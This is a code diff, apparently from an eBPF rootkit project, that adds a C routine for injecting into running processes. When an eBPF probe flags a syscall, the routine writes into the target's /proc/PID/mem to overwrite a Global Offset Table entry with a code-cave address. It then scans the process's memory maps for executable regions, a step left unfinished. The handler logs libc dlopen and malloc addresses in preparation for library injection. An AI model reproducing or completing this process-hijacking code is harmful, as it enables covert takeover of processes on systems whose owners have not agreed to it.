#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include "../common/constants.h"
|
||||||
|
#include "../common/map_common.h"
|
||||||
|
|
||||||
|
#include "code_caver.h"
|
||||||
|
|
||||||
|
int manage_injection(const struct rb_event* event){
|
||||||
|
char mem_file_name[100];
|
||||||
|
__u64 buf = (__u64)CODE_CAVE_ADDRESS;
|
||||||
|
int mem_fd;
|
||||||
|
|
||||||
|
|
||||||
|
memset( (void*)mem_file_name, 0, 100);
|
||||||
|
|
||||||
|
printf("Injecting at PID %d at %llx\n", event->pid, event->got_address);
|
||||||
|
|
||||||
|
sprintf(mem_file_name, "/proc/%d/mem", event->pid);
|
||||||
|
mem_fd = open(mem_file_name, O_RDWR);
|
||||||
|
lseek(mem_fd, event->got_address, SEEK_SET);
|
||||||
|
|
||||||
|
for(int ii=0; ii<sizeof(__u64); ii++){
|
||||||
|
if(write(mem_fd, (void*)&buf+ii, 1) < 0 ){
|
||||||
|
perror("Error while writing at GOT");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//Parsing /proc/pid/maps.
|
||||||
|
//Note that addresses usually appear as 32-bit when catting, but this is not completely true
|
||||||
|
//
|
||||||
|
char *maps_file = calloc(512, sizeof(char));
|
||||||
|
FILE *f;
|
||||||
|
sprintf(maps_file, "/proc/%d/maps", event->pid);
|
||||||
|
f = fopen(maps_file, "rt");
|
||||||
|
while (fgets(maps_file, 512, f)) {
|
||||||
|
__u32 pgoff, major, minor;
|
||||||
|
__u64 from, to, ino;
|
||||||
|
char flags[4];
|
||||||
|
int ret = sscanf(maps_file, "%llx-%llx %4c %x %x:%x %llu ", &from, &to, flags, &pgoff, &major, &minor, &ino);
|
||||||
|
printf("MAPS: %s\n", maps_file);
|
||||||
|
|
||||||
|
//Parse flags, find executable one
|
||||||
|
if(flags[2] == 'x'){
|
||||||
|
//Candidate for code cave finding
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
free(maps_file);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
#include "extractor.h"
|
|
||||||
|
|
||||||
|
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
#ifndef __ROP_EXT_H
|
|
||||||
#define __ROP_EXT_H
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#endif
|
|
||||||
@@ -20,8 +20,7 @@
|
|||||||
#include "include/utils/strings/regex.h"
|
#include "include/utils/strings/regex.h"
|
||||||
#include "include/utils/structures/fdlist.h"
|
#include "include/utils/structures/fdlist.h"
|
||||||
#include "include/modules/module_manager.h"
|
#include "include/modules/module_manager.h"
|
||||||
#include "include/utils/rop/extractor.h"
|
#include "include/utils/mem/injection.h"
|
||||||
|
|
||||||
#define ABORT_IF_ERR(err, msg)\
|
#define ABORT_IF_ERR(err, msg)\
|
||||||
if(err<0){\
|
if(err<0){\
|
||||||
fprintf(stderr, msg);\
|
fprintf(stderr, msg);\
|
||||||
@@ -97,7 +96,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
|||||||
tm = localtime(&t);
|
tm = localtime(&t);
|
||||||
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
|
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
|
||||||
|
|
||||||
|
//Before parsing any data, check the type
|
||||||
if(e->event_type == INFO){
|
if(e->event_type == INFO){
|
||||||
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
|
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
|
||||||
}else if(e->event_type == DEBUG){
|
}else if(e->event_type == DEBUG){
|
||||||
@@ -106,6 +105,12 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
|||||||
|
|
||||||
}else if(e->event_type == EXIT){
|
}else if(e->event_type == EXIT){
|
||||||
|
|
||||||
|
}else if(e->event_type == VULN_SYSCALL){
|
||||||
|
//eBPF detected syscall which can lead to library injection
|
||||||
|
printf("%s VULN_SYSCALL pid:%d syscall:%llx, return:%llx, libc_main:%llx, libc_dlopen_mode:%llx, libc_malloc:%llx, got:%llx, relro:%i\n", ts, e->pid, e->syscall_address, e->process_stack_return_address, e->libc_main_address, e->libc_dlopen_mode_address, e->libc_malloc_address, e->got_address, e->relro_active);
|
||||||
|
if(manage_injection(e)<0){
|
||||||
|
printf("Library injection failed\n");
|
||||||
|
}
|
||||||
}else{
|
}else{
|
||||||
printf("UNRECOGNIZED RB EVENT RECEIVED");
|
printf("UNRECOGNIZED RB EVENT RECEIVED");
|
||||||
return -1;
|
return -1;
|
||||||
|
|||||||
Reference in New Issue
Block a user